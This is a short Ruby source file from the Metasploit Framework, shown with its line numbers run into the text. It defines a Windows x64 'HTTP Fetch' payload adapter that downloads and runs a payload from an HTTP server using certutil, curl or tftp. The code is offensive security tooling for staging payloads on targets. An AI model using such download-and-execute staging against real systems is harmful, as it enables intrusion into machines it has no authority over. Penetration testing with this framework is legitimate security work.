Path: blob/master/modules/payloads/adapters/cmd/windows/http/x64.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6include Msf::Payload::Adapter::Fetch::HTTP7include Msf::Payload::Adapter::Fetch::WindowsOptions89def initialize(info = {})10super(11update_info(12info,13'Name' => 'HTTP Fetch',14'Description' => 'Fetch and execute an x64 payload from an HTTP server.',15'DefaultOptions' => { 'FETCH_COMMAND' => 'CERTUTIL' },16'Author' => 'Brendan Watters',17'Platform' => 'win',18'Arch' => ARCH_CMD,19'License' => MSF_LICENSE,20'AdaptedArch' => ARCH_X64,21'AdaptedPlatform' => 'win'22)23)24deregister_options('FETCH_COMMAND')25register_options(26[27Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL TFTP CERTUTIL]])28]29)30end31end323334